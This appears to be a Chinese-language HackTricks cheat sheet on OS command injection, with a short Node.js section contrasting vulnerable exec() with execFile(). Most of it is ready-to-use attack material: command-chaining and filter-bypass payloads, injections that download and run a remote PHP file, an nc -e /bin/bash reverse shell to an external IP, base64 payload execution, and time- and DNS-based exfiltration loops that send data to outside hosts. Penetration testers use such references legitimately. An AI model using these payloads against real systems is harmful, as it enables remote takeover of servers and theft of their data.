Command Injection

Reading time: 7 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

什么是 command Injection?

一个 command injection 允许攻击者在托管应用程序的服务器上执行任意操作系统命令。因此,应用程序及其所有数据可能被完全妥协。 这些命令的执行通常允许攻击者获得对应用程序环境及底层系统的未授权访问或控制。

上下文

你的输入被注入的位置,你可能需要在命令之前终止被引用的上下文(使用 "')来结束引号。

Command Injection/Execution

bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

限制 Bypasses

如果你试图在 linux 机器内部执行 任意命令,你可能会对这些 Bypasses: 感兴趣。

Bypass Linux Restrictions

示例

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

参数

下面是可能易受 code injection 及类似 RCE 漏洞影响的前 25 个参数(来自 link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

基于时间的数据外泄

逐字符提取数据

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

基于 DNS 的 data exfiltration

基于来自 https://github.com/HoLyVieR/dnsbin 的工具,也托管在 dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

用于检查基于 DNS 的数据外传的在线工具:

  • dnsbin.zhack.ca
  • pingb.in

过滤绕过

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

在审计 JavaScript/TypeScript 后端时,你经常会遇到 Node.js 的 child_process API。

javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() 会启动一个 shell (/bin/sh -c),因此任何对 shell 有特殊含义的字符(反引号、;&&|$()、…)在将用户输入拼接到字符串时都会导致 command injection

缓解: 使用 execFile()(或不带 shell 选项的 spawn()),并将 每个参数作为独立的数组元素 提供,这样就不会涉及 shell

javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

真实案例:Synology Photos ≤ 1.7.0-0794 存在一个通过未经认证的 WebSocket 事件利用的漏洞,该事件将攻击者控制的数据放入 id_user,随后被嵌入到 exec() 调用中,实现了 RCE(Pwn2Own Ireland 2024)。

Brute-Force 检测列表

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

参考

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks